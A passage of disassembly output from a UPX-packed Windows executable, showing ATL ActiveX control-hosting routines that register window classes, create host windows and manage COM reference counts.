[edi+20h] call dword_41D27C ; CallWindowProcW loc_4045C1: ; CODE XREF: sub_404508+A2j movzx eax, word ptr [ebp+arg_0] dec eax cmp eax, 1 jbe short loc_4045E1 mov eax, [ebp+arg_0] shr eax, 10h push eax loc_4045D2: ; CODE XREF: sub_404508+50j push dword ptr [edi+4] call dword_41D2B8 ; GetDlgItem jmp short loc_4045E3 ; --------------------------------------------------------------------------- loc_4045DD: ; CODE XREF: sub_404508+73j test esi, esi jz short loc_4045E7 loc_4045E1: ; CODE XREF: sub_404508+25j ; sub_404508+83j ... mov eax, esi loc_4045E3: ; CODE XREF: sub_404508+37j ; sub_404508+3Fj ... test eax, eax jnz short loc_4045F2 loc_4045E7: ; CODE XREF: sub_404508+1Cj ; sub_404508+2Ej ... mov eax, [ebp+arg_4] and dword ptr [eax], 0 xor eax, eax inc eax jmp short loc_404639 ; --------------------------------------------------------------------------- loc_4045F2: ; CODE XREF: sub_404508+DDj mov ecx, [edi+98h] test cl, 8 jz short loc_404627 and [ebp+arg_4], 0 test cl, 1 jz short loc_404622 mov eax, [edi+74h] test eax, eax jz short loc_404622 mov ecx, [eax] lea edx, [ebp+arg_4] push edx push esi push [ebp+arg_0] add ebx, 2000h push ebx push eax call dword ptr [ecx+24h] loc_404622: ; CODE XREF: sub_404508+FCj ; sub_404508+103j mov eax, [ebp+arg_4] jmp short loc_404639 ; --------------------------------------------------------------------------- loc_404627: ; CODE XREF: sub_404508+F3j push esi push [ebp+arg_0] add ebx, 2000h push ebx push eax call dword_41D288 ; SendMessageW loc_404639: ; CODE XREF: sub_404508+E8j ; sub_404508+11Dj pop ebx pop ebp retn 8 sub_404508 endp ; =============== S U B R O U T I N E ======================================= sub_40463E proc near ; DATA XREF: UPX0:00424158o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov edx, [esp+arg_C] test edx, edx jnz short loc_40464D mov eax, 80004003h jmp short locret_404672 ; --------------------------------------------------------------------------- loc_40464D: ; CODE XREF: sub_40463E+6j and dword ptr [edx], 0 mov ecx, [esp+arg_0] mov ecx, [ecx+9Ch] mov eax, 80004002h test ecx, ecx jz short locret_404672 mov eax, [ecx] push edx push [esp+4+arg_8] push [esp+8+arg_4] push ecx call dword ptr [eax+0Ch] locret_404672: ; CODE XREF: sub_40463E+Dj ; sub_40463E+23j retn 10h sub_40463E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404675 proc near ; CODE XREF: sub_40534A+2Dp ; sub_418266+1B5p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push esi push edi call sub_404725 lea eax, [ebp+var_4] xor edi, edi push eax mov [ebp+var_4], edi mov [ebp+var_C], edi call sub_4050AA mov esi, eax cmp esi, edi jl short loc_4046EF mov eax, [ebp+var_4] lea edx, [ebp+var_8] push edx push offset dword_423C0C mov [ebp+var_8], edi mov ecx, [eax] push eax call dword ptr [ecx] push [ebp+arg_0] lea esi, [ebp+arg_0] call sub_4011E3 push [ebp+arg_C] mov eax, [ebp+var_8] mov ecx, [eax] push edi push offset dword_41D440 lea edx, [ebp+var_C] push edx push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call dword ptr [ecx+28h] push [ebp+arg_0] mov esi, eax call dword_41D25C mov eax, [ebp+var_8] cmp eax, edi jz short loc_4046EF mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4046EF: ; CODE XREF: sub_404675+22j ; sub_404675+72j cmp ebx, edi jz short loc_404703 cmp esi, edi jl short loc_404701 mov eax, [ebp+var_4] mov [ebx], eax mov [ebp+var_4], edi jmp short loc_404703 ; --------------------------------------------------------------------------- loc_404701: ; CODE XREF: sub_404675+80j mov [ebx], edi loc_404703: ; CODE XREF: sub_404675+7Cj ; sub_404675+8Aj mov eax, [ebp+var_C] cmp eax, edi jz short loc_404710 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_404710: ; CODE XREF: sub_404675+93j mov eax, [ebp+var_4] cmp eax, edi jz short loc_40471D mov ecx, [eax] push eax call dword ptr [ecx+8] loc_40471D: ; CODE XREF: sub_404675+A0j pop edi mov eax, esi pop esi leave retn 10h sub_404675 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404725 proc near ; CODE XREF: sub_404675+8p ; sub_418A96+47p var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp and esp, 0FFFFFFF8h sub esp, 3Ch push ebx push esi mov eax, offset dword_42E38C push edi push eax mov [esp+4Ch+var_38], eax call dword_41D1CC ; RtlEnterCriticalSection mov esi, dword_41D320 push offset aWm_atlgethost ; "WM_ATLGETHOST" mov byte ptr [esp+4Ch+var_34], 1 call esi ; dword_41D320 push offset aWm_atlgetcontr ; "WM_ATLGETCONTROL" mov dword_42EEA8, eax call esi ; dword_41D320 push 30h pop edi mov dword_42EEAC, eax lea eax, [esp+48h+var_30] push eax mov esi, offset aAtlaxwin80 ; "AtlAxWin80" push esi push dword_42E350 mov [esp+54h+var_30], edi call dword_41D35C ; GetClassInfoExW xor ebx, ebx cmp eax, ebx jnz short loc_4047FF mov eax, dword_42E350 push 7F00h push ebx mov [esp+50h+var_30], edi mov [esp+50h+var_2C], 8 mov [esp+50h+var_28], offset sub_4184BE mov [esp+50h+var_24], ebx mov [esp+50h+var_20], ebx mov [esp+50h+var_1C], eax mov [esp+50h+var_18], ebx call dword_41D344 ; LoadCursorW mov [esp+48h+var_14], eax lea eax, [esp+48h+var_30] push eax mov [esp+4Ch+var_10], 6 mov [esp+4Ch+var_C], ebx mov [esp+4Ch+var_8], esi mov [esp+4Ch+var_4], ebx call dword_41D2D4 ; RegisterClassExW movzx eax, ax mov [esp+48h+var_3C], eax cmp ax, bx jz loc_4048B2 lea eax, [esp+48h+var_3C] push eax mov esi, offset dword_42E3A8 call sub_404C2B loc_4047FF: ; CODE XREF: sub_404725+61j push edi lea eax, [esp+4Ch+var_30] push ebx push eax call sub_40BD40 add esp, 0Ch lea eax, [esp+48h+var_30] push eax mov esi, offset aAtlaxwinlic80 ; "AtlAxWinLic80" push esi push dword_42E350 mov [esp+54h+var_30], edi call dword_41D35C ; GetClassInfoExW mov [esp+48h+var_3C], eax cmp eax, ebx jnz loc_4048B6 mov eax, dword_42E350 push 7F00h push ebx mov [esp+50h+var_30], edi mov [esp+50h+var_2C], 8 mov [esp+50h+var_28], offset sub_418266 mov [esp+50h+var_24], ebx mov [esp+50h+var_20], ebx mov [esp+50h+var_1C], eax mov [esp+50h+var_18], ebx call dword_41D344 ; LoadCursorW mov [esp+48h+var_14], eax lea eax, [esp+48h+var_30] push eax mov [esp+4Ch+var_10], 6 mov [esp+4Ch+var_C], ebx mov [esp+4Ch+var_8], esi mov [esp+4Ch+var_4], ebx call dword_41D2D4 ; RegisterClassExW movzx eax, ax mov [esp+48h+var_3C], eax cmp ax, bx jz short loc_4048B2 lea eax, [esp+48h+var_3C] push eax mov esi, offset dword_42E3A8 call sub_404C2B mov [esp+48h+var_3C], 1 jmp short loc_4048B6 ; --------------------------------------------------------------------------- loc_4048B2: ; CODE XREF: sub_404725+C5j ; sub_404725+172j mov [esp+48h+var_3C], ebx loc_4048B6: ; CODE XREF: sub_404725+10Aj ; sub_404725+18Bj lea ecx, [esp+48h+var_38] call sub_4066D7 mov eax, [esp+48h+var_3C] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_404725 endp ; =============== S U B R O U T I N E ======================================= sub_4048CA proc near ; CODE XREF: sub_404083+30Dp var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx test edi, edi jnz short loc_4048DA loc_4048D0: ; CODE XREF: sub_4048CA+12j push 80004003h call sub_4010D8 ; --------------------------------------------------------------------------- loc_4048DA: ; CODE XREF: sub_4048CA+4j test esi, esi jz short loc_4048D0 push ebx push ebp push 0 call dword_41D2DC ; GetDC mov ebp, dword_41D034 mov ebx, eax push 58h push ebx call ebp ; dword_41D034 push 5Ah push ebx mov [esp+18h+var_8], eax call ebp ; dword_41D034 push ebx push 0 mov [esp+18h+var_4], eax call dword_41D2BC ; ReleaseDC mov ebx, dword_41D200 mov ebp, 9ECh push ebp push dword ptr [edi] push [esp+18h+var_8] call ebx ; dword_41D200 push ebp mov [esi], eax push dword ptr [edi+4] push [esp+18h+var_4] call ebx ; dword_41D200 pop ebp mov [esi+4], eax pop ebx pop ecx pop ecx retn sub_4048CA endp ; =============== S U B R O U T I N E ======================================= sub_404933 proc near ; CODE XREF: sub_402768+3Fp ; sub_404083+2E4p var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx test edi, edi jnz short loc_404943 loc_404939: ; CODE XREF: sub_404933+12j push 80004003h call sub_4010D8 ; --------------------------------------------------------------------------- loc_404943: ; CODE XREF: sub_404933+4j test esi, esi jz short loc_404939 push ebx push ebp push 0 call dword_41D2DC ; GetDC mov ebp, dword_41D034 mov ebx, eax push 58h push ebx call ebp ; dword_41D034 push 5Ah push ebx mov [esp+18h+var_8], eax call ebp ; dword_41D034 push ebx push 0 mov [esp+18h+var_4], eax call dword_41D2BC ; ReleaseDC push [esp+10h+var_8] mov ebx, dword_41D200 push dword ptr [edi] mov ebp, 9ECh push ebp call ebx ; dword_41D200 push [esp+10h+var_4] mov [esi], eax push dword ptr [edi+4] push ebp call ebx ; dword_41D200 pop ebp mov [esi+4], eax pop ebx pop ecx pop ecx retn sub_404933 endp ; =============== S U B R O U T I N E ======================================= sub_40499C proc near ; DATA XREF: UPX0:00426E84o mov dword ptr [ecx], offset off_41D4DC jmp sub_40AD84 sub_40499C endp ; --------------------------------------------------------------------------- loc_4049A7: ; DATA XREF: UPX0:off_41D4DCo push esi mov esi, ecx mov dword ptr [esi], offset off_41D4DC call sub_40AD84 test byte ptr [esp+8], 1 jz short loc_4049C3 push esi call sub_40AC11 pop ecx loc_4049C3: ; CODE XREF: UPX0:004049BAj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4049C9 proc near ; CODE XREF: sub_405446+79p ; sub_4054FB+25p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40B376 mov eax, [ebp+arg_0] add esp, 10h pop ebp retn sub_4049C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4049E5 proc near ; CODE XREF: sub_405A07+50p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40AC49 mov eax, [ebp+arg_0] add esp, 10h pop ebp retn sub_4049E5 endp ; =============== S U B R O U T I N E ======================================= sub_404A01 proc near ; CODE XREF: sub_404A7D+7p ; sub_404AC2+7p ... push 4 mov eax, offset loc_41C189 call sub_40C46D mov esi, ecx mov [ebp-10h], esi call sub_40ACA6 and dword ptr [ebp-4], 0 push dword ptr [ebp+8] lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_41D4E8 call sub_40515A mov eax, esi call sub_40C50C retn 4 sub_404A01 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_404A36 proc near ; CODE XREF: UPX0:00404A64p ; sub_404A95+6j ... push esi mov esi, ecx push 0 push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_41D4E8 call sub_4054FB mov ecx, esi pop esi jmp sub_40AD84 sub_404A36 endp ; =============== S U B R O U T I N E ======================================= sub_404A53 proc near ; DATA XREF: UPX0:0041D4ECo ; UPX0:0041D4F8o ... cmp dword ptr [ecx+24h], 10h jb short loc_404A5D mov eax, [ecx+10h] retn ; --------------------------------------------------------------------------- loc_404A5D: ; CODE XREF: sub_404A53+4j lea eax, [ecx+10h] retn sub_404A53 endp ; --------------------------------------------------------------------------- loc_404A61: ; DATA XREF: UPX0:off_41D4E8o push esi mov esi, ecx call sub_404A36 test byte ptr [esp+8], 1 jz short loc_404A77 push esi call sub_40AC11 pop ecx loc_404A77: ; CODE XREF: UPX0:00404A6Ej mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_404A7D proc near ; CODE XREF: sub_40AB96+24p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_404A01 mov dword ptr [esi], offset off_41D4F4 mov eax, esi pop esi retn 4 sub_404A7D endp ; =============== S U B R O U T I N E ======================================= sub_404A95 proc near ; DATA XREF: UPX0:00426E4Co mov dword ptr [ecx], offset off_41D4F4 jmp sub_404A36 sub_404A95 endp ; --------------------------------------------------------------------------- loc_404AA0: ; DATA XREF: UPX0:off_41D4F4o push esi mov esi, ecx mov dword ptr [esi], offset off_41D4F4 call sub_404A36 test byte ptr [esp+8], 1 jz short loc_404ABC push esi call sub_40AC11 pop ecx loc_404ABC: ; CODE XREF: UPX0:00404AB3j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_404AC2 proc near ; CODE XREF: sub_40ABCE+24p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_404A01 mov dword ptr [esi], offset off_41D500 mov eax, esi pop esi retn 4 sub_404AC2 endp ; =============== S U B R O U T I N E ======================================= sub_404ADA proc near ; DATA XREF: UPX0:00426E10o mov dword ptr [ecx], offset off_41D500 jmp sub_404A36 sub_404ADA endp ; --------------------------------------------------------------------------- loc_404AE5: ; DATA XREF: UPX0:off_41D500o push esi mov esi, ecx mov dword ptr [esi], offset off_41D500 call sub_404A36 test byte ptr [esp+8], 1 jz short loc_404B01 push esi call sub_40AC11 pop ecx loc_404B01: ; CODE XREF: UPX0:00404AF8j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- push esi push dword ptr [esp+8] mov esi, ecx call sub_404B1F mov dword ptr [esi], offset off_41D500 mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_404B1F proc near ; CODE XREF: UPX0:00404B0Ep ; UPX0:00405EDCp push 4 mov eax, offset loc_41C189 call sub_40C46D mov esi, ecx mov [ebp-10h], esi mov edi, [ebp+8] push edi call sub_40AD27 and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_41D4E8 call sub_40515A mov eax, esi call sub_40C50C retn 4 sub_404B1F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_404B59 proc near ; CODE XREF: sub_4091D6+3p ; UPX0:004091F3p ... push 4 mov eax, offset loc_41C527 call sub_40C46D mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_423FBC mov dword ptr [esi+24h], (offset loc_423FD7+1) lea eax, [esi+3Ch] push eax mov dword ptr [ebp-4], 1 call sub_4052AA push dword ptr [esi+2Ch] call dword_41D25C or dword ptr [ebp-4], 0FFFFFFFFh mov esi, [esi+14h] test esi, esi jz short loc_404BA1 push esi call sub_40A859 loc_404BA1: ; CODE XREF: sub_404B59+40j call sub_40C50C retn sub_404B59 endp ; --------------------------------------------------------------------------- mov eax, 80004001h retn 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404BAF proc near ; DATA XREF: UPX0:off_423FBCo ; UPX0:off_424BF8o ... arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp cmp [ebp+arg_14], 0 jnz short loc_404BFD cmp [ebp+arg_4], 1 jnz short loc_404BCD call sub_41889D loc_404BC3: ; CODE XREF: sub_404BAF+34j mov ecx, [ebp+arg_10] mov [ecx], eax loc_404BC8: ; CODE XREF: sub_404BAF+4Cj xor eax, eax inc eax jmp short loc_404BFF ; --------------------------------------------------------------------------- loc_404BCD: ; CODE XREF: sub_404BAF+Dj mov eax, 100h cmp [ebp+arg_4], eax jnz short loc_404BE5 push [ebp+arg_C] push [ebp+arg_8] push ecx call sub_4178EC jmp short loc_404BC3 ; --------------------------------------------------------------------------- loc_404BE5: ; CODE XREF: sub_404BAF+26j cmp [ebp+arg_4], 214h jnz short loc_404BFD mov eax, ecx call sub_417C15 mov eax, [ebp+arg_10] and dword ptr [eax], 0 jmp short loc_404BC8 ; --------------------------------------------------------------------------- loc_404BFD: ; CODE XREF: sub_404BAF+7j ; sub_404BAF+3Dj xor eax, eax loc_404BFF: ; CODE XREF: sub_404BAF+1Cj pop ebp retn 18h sub_404BAF endp ; --------------------------------------------------------------------------- loc_404C03: ; CODE XREF: UPX0:0041C0E2j ; UPX0:0041C517j mov eax, [eax+14h] test eax, eax jz short locret_404C10 push eax call sub_40A859 locret_404C10: ; CODE XREF: UPX0:00404C08j retn ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_404C11 proc near ; CODE XREF: UPX0:0041C101p jmp sub_4052AA sub_404C11 endp ; --------------------------------------------------------------------------- loc_404C16: ; CODE XREF: UPX0:0041C004j ; UPX0:0041C049j ... jmp short loc_404C25 ; --------------------------------------------------------------------------- loc_404C18: ; CODE XREF: UPX0:00404C28j mov eax, [esi] mov ecx, [eax] push eax mov [esi], ecx call sub_40ADC8 pop ecx loc_404C25: ; CODE XREF: UPX0:loc_404C16j cmp dword ptr [esi], 0 jnz short loc_404C18 retn ; =============== S U B R O U T I N E ======================================= sub_404C2B proc near ; CODE XREF: sub_404725+D5p ; sub_404725+17Ep ... arg_0 = dword ptr 4 mov eax, [esi+4] mov ecx, [esi+8] push edi cmp eax, ecx jnz short loc_404C64 test ecx, ecx jnz short loc_404C3F xor edi, edi inc edi jmp short loc_404C4E ; --------------------------------------------------------------------------- loc_404C3F: ; CODE XREF: sub_404C2B+Dj lea edi, [eax+eax] test edi, edi jl short loc_404C84 cmp edi, 3FFFFFFFh ja short loc_404C84 loc_404C4E: ; CODE XREF: sub_404C2B+12j push 2 push edi push dword ptr [esi] call sub_40B28B add esp, 0Ch test eax, eax jz short loc_404C84 mov [esi+8], edi mov [esi], eax loc_404C64: ; CODE XREF: sub_404C2B+9j mov eax, [esi+4] mov ecx, [esi] lea eax, [ecx+eax*2] test eax, eax jz short loc_404C7A mov ecx, [esp+4+arg_0] mov cx, [ecx] mov [eax], cx loc_404C7A: ; CODE XREF: sub_404C2B+43j inc dword ptr [esi+4] xor eax, eax inc eax loc_404C80: ; CODE XREF: sub_404C2B+5Bj pop edi retn 4 ; --------------------------------------------------------------------------- loc_404C84: ; CODE XREF: sub_404C2B+19j ; sub_404C2B+21j ... xor eax, eax jmp short loc_404C80 sub_404C2B endp ; =============== S U B R O U T I N E ======================================= sub_404C88 proc near ; CODE XREF: sub_401E62+30p ; sub_40500B+20p ... add eax, 4 cmp byte ptr [eax+18h], 0 jz short locret_404C9C push eax mov byte ptr [eax+18h], 0 call dword_41D1C8 ; RtlDeleteCriticalSection locret_404C9C: ; CODE XREF: sub_404C88+7j retn sub_404C88 endp ; =============== S U B R O U T I N E ======================================= sub_404C9D proc near ; CODE XREF: sub_4178EC+25p ; sub_417FE1+2Ap ... push 0 mov eax, offset loc_41BF38 call sub_40C46D xor ecx, ecx cmp ebx, ecx jnz short loc_404CB6 mov eax, 80004003h jmp short loc_404D03 ; --------------------------------------------------------------------------- loc_404CB6: ; CODE XREF: sub_404C9D+10j mov [ebx], ecx push ecx mov [ebp-4], ecx mov eax, [ebp+8] mov eax, [eax] push ecx push dword_42EEAC push eax call dword_41D288 ; SendMessageW mov edi, eax mov esi, edi neg esi sbb esi, esi and esi, 7FFFBFFBh add esi, 80004005h mov [ebp+8], edi js short loc_404CF3 mov eax, [edi] push ebx push dword ptr [ebp+0Ch] push edi call dword ptr [eax] mov esi, eax loc_404CF3: ; CODE XREF: sub_404C9D+49j or dword ptr [ebp-4], 0FFFFFFFFh test edi, edi jz short loc_404D01 mov eax, [edi] push edi call dword ptr [eax+8] loc_404D01: ; CODE XREF: sub_404C9D+5Cj mov eax, esi loc_404D03: ; CODE XREF: sub_404C9D+17j call sub_40C50C retn 8 sub_404C9D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D0B proc near ; CODE XREF: sub_401DBD+2Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_42DD08, 0 jnz short loc_404D1E and dword_42DD08, 0 loc_404D1E: ; CODE XREF: sub_404D0B+Aj push ebx push [ebp+arg_4] lea eax, [esi+20h] push eax mov ebx, offset a0 ; "0" call sub_406DD8 pop ecx pop ecx movzx eax, ax push eax push [ebp+arg_4] mov ebx, esi push 0 push 0CF0000h push offset aAxwinFrameWind ; "AXWIN Frame Window" push [ebp+arg_0] push 0 call sub_40691F pop ebx pop ebp retn 8 sub_404D0B endp ; =============== S U B R O U T I N E ======================================= sub_404D56 proc near ; DATA XREF: UPX0:00423F0Co ; UPX0:00423F64o ... mov eax, offset sub_406819 retn sub_404D56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D5C proc near ; CODE XREF: sub_401E11+1Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_42DD98, 0 jnz short loc_404D6F and dword_42DD98, 0 loc_404D6F: ; CODE XREF: sub_404D5C+Aj push ebx push [ebp+arg_4] lea eax, [esi+20h] push eax mov ebx, offset dword_42DD68 call sub_406DD8 pop ecx pop ecx movzx eax, ax push eax push [ebp+arg_4] mov ebx, esi push 0 push 0CF0000h push offset aAxwinUiWindow ; "AXWIN UI Window" push [ebp+arg_0] push 0 call sub_40691F pop ebx pop ebp retn 8 sub_404D5C endp ; =============== S U B R O U T I N E ======================================= sub_404DA7 proc near ; CODE XREF: UPX0:004039BBp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] test eax, eax jz short loc_404DB4 add eax, 0FFFFFFC8h jmp short loc_404DB6 ; --------------------------------------------------------------------------- loc_404DB4: ; CODE XREF: sub_404DA7+6j xor eax, eax loc_404DB6: ; CODE XREF: sub_404DA7+Bj push esi push edi mov edi, [esp+8+arg_4] lea esi, [eax+3Ch] cmp [esi], edi jz short loc_404DC8 call sub_4011B4 loc_404DC8: ; CODE XREF: sub_404DA7+1Aj pop edi xor eax, eax pop esi retn 8 sub_404DA7 endp ; =============== S U B R O U T I N E ======================================= sub_404DCF proc near ; DATA XREF: UPX0:00424140o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] test eax, eax jz short loc_404DDC lea ecx, [eax-38h] jmp short loc_404DDE ; --------------------------------------------------------------------------- loc_404DDC: ; CODE XREF: sub_404DCF+6j xor ecx, ecx loc_404DDE: ; CODE XREF: sub_404DCF+Bj mov edx, [esp+arg_8] mov eax, 80004003h test edx, edx jz short locret_404E06 mov eax, [ecx+3Ch] test eax, eax jz short loc_404DFE mov ecx, [eax] push edx push [esp+4+arg_4] push eax call dword ptr [ecx] jmp short locret_404E06 ; --------------------------------------------------------------------------- loc_404DFE: ; CODE XREF: sub_404DCF+21j and dword ptr [edx], 0 mov eax, 80004005h locret_404E06: ; CODE XREF: sub_404DCF+1Aj ; sub_404DCF+2Dj retn 0Ch sub_404DCF endp ; =============== S U B R O U T I N E ======================================= sub_404E09 proc near ; DATA XREF: UPX0:004241E0o arg_4 = dword ptr 8 mov eax, [esp+arg_4] test eax, eax jnz short loc_404E18 mov eax, 80004003h jmp short locret_404E20 ; --------------------------------------------------------------------------- loc_404E18: ; CODE XREF: sub_404E09+6j mov dword ptr [eax], 1 xor eax, eax locret_404E20: ; CODE XREF: sub_404E09+Dj retn 8 sub_404E09 endp ; =============== S U B R O U T I N E ======================================= sub_404E23 proc near ; DATA XREF: UPX0:004241E4o arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi mov esi, [esp+4+arg_C] test esi, esi jnz short loc_404E33 mov eax, 80004003h jmp short loc_404E60 ; --------------------------------------------------------------------------- loc_404E33: ; CODE XREF: sub_404E23+7j xor eax, eax cmp dword_42DEB0, eax jnz short loc_404E46 push [esp+4+arg_8] call sub_401BB2 loc_404E46: ; CODE XREF: sub_404E23+18j mov ecx, dword_42DEB0 mov [esi], ecx mov ecx, dword_42DEB0 test ecx, ecx jz short loc_404E60 mov eax, [ecx] push ecx call dword ptr [eax+4] xor eax, eax loc_404E60: ; CODE XREF: sub_404E23+Ej ; sub_404E23+33j pop esi retn 10h sub_404E23 endp ; =============== S U B R O U T I N E ======================================= sub_404E64 proc near ; DATA XREF: UPX0:004241E8o arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h push [esp+arg_14] push [esp+4+arg_10] push [esp+8+arg_C] push [esp+0Ch+arg_8] call sub_401931 retn 18h sub_404E64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404E7C proc near ; CODE XREF: sub_403418+20p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp mov ecx, dword_42DEB0 xor eax, eax test ecx, ecx jz short loc_404E93 cmp dword_42DEB8, eax jnz short loc_404EA1 loc_404E93: ; CODE XREF: sub_404E7C+Dj push [ebp+arg_C] call sub_401BB2 mov ecx, dword_42DEB0 loc_404EA1: ; CODE XREF: sub_404E7C+15j test ecx, ecx jz short loc_404EC0 push [ebp+arg_20] mov eax, [ecx] push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_4] push [ebp+arg_0] push ecx call dword ptr [eax+2Ch] loc_404EC0: ; CODE XREF: sub_404E7C+27j pop ebp retn 24h sub_404E7C endp ; =============== S U B R O U T I N E ======================================= sub_404EC4 proc near ; CODE XREF: sub_4052ED+3p push esi mov esi, ecx mov dword ptr [esi], offset off_423F04 mov dword ptr [esi+24h], offset off_423F1C mov dword ptr [esi+28h], 0C0000001h mov eax, [esi+48h] test eax, eax jz short loc_404EEC and dword ptr [esi+48h], 0 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_404EEC: ; CODE XREF: sub_404EC4+1Cj mov eax, [esi+4] test eax, eax jz short loc_404EFA push eax call dword_41D304 ; DestroyWindow loc_404EFA: ; CODE XREF: sub_404EC4+2Dj mov ecx, dword_42EE90 mov eax, [ecx] call dword ptr [eax+8] push esi call sub_401E62 pop esi retn sub_404EC4 endp ; =============== S U B R O U T I N E ======================================= sub_404F0D proc near ; DATA XREF: UPX0:off_423F1Co arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx push [esp+4+arg_4] mov ebx, [esp+8+arg_8] add eax, 0FFFFFFDCh push eax mov eax, offset off_423CAC call sub_4015BD pop ebx retn 0Ch sub_404F0D endp ; =============== S U B R O U T I N E ======================================= sub_404F2C proc near ; CODE XREF: sub_405309+3p push esi mov esi, ecx mov dword ptr [esi], offset off_423F5C mov dword ptr [esi+24h], offset off_423F70 mov dword ptr [esi+28h], 0C0000001h mov eax, [esi+48h] test eax, eax jz short loc_404F54 and dword ptr [esi+48h], 0 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_404F54: ; CODE XREF: sub_404F2C+1Cj mov eax, [esi+4] test eax, eax jz short loc_404F62 push eax call dword_41D304 ; DestroyWindow loc_404F62: ; CODE XREF: sub_404F2C+2Dj mov ecx, dword_42EE90 mov eax, [ecx] call dword ptr [eax+8] push esi call sub_401E62 pop esi retn sub_404F2C endp ; =============== S U B R O U T I N E ======================================= sub_404F75 proc near ; DATA XREF: UPX0:00423F20o ; UPX0:00423F74o arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 push eax call dword_41D21C ; InterlockedIncrement retn 4 sub_404F75 endp ; =============== S U B R O U T I N E ======================================= sub_404F86 proc near ; DATA XREF: UPX0:00423F24o ; UPX0:00423F78o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi lea eax, [esi+4] push eax call dword_41D218 ; InterlockedDecrement mov edi, eax test edi, edi jnz short loc_404FAA lea ecx, [esi-24h] test ecx, ecx jz short loc_404FAA mov eax, [ecx] push 1 call dword ptr [eax+4] loc_404FAA: ; CODE XREF: sub_404F86+14j ; sub_404F86+1Bj mov eax, edi pop edi pop esi retn 4 sub_404F86 endp ; =============== S U B R O U T I N E ======================================= sub_404FB1 proc near ; DATA XREF: UPX0:off_423F70o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx push [esp+4+arg_4] mov ebx, [esp+8+arg_8] add eax, 0FFFFFFDCh push eax mov eax, offset off_423D04 call sub_4015BD pop ebx retn 0Ch sub_404FB1 endp ; =============== S U B R O U T I N E ======================================= sub_404FD0 proc near ; CODE XREF: sub_403FBF+35p ; sub_4070E8+39p push ebx xor ebx, ebx mov [esi+4], ebx push edi mov [esi+10h], ebx mov [esi+0Ch], ebx mov [esi+8], ebx mov [esi+14h], 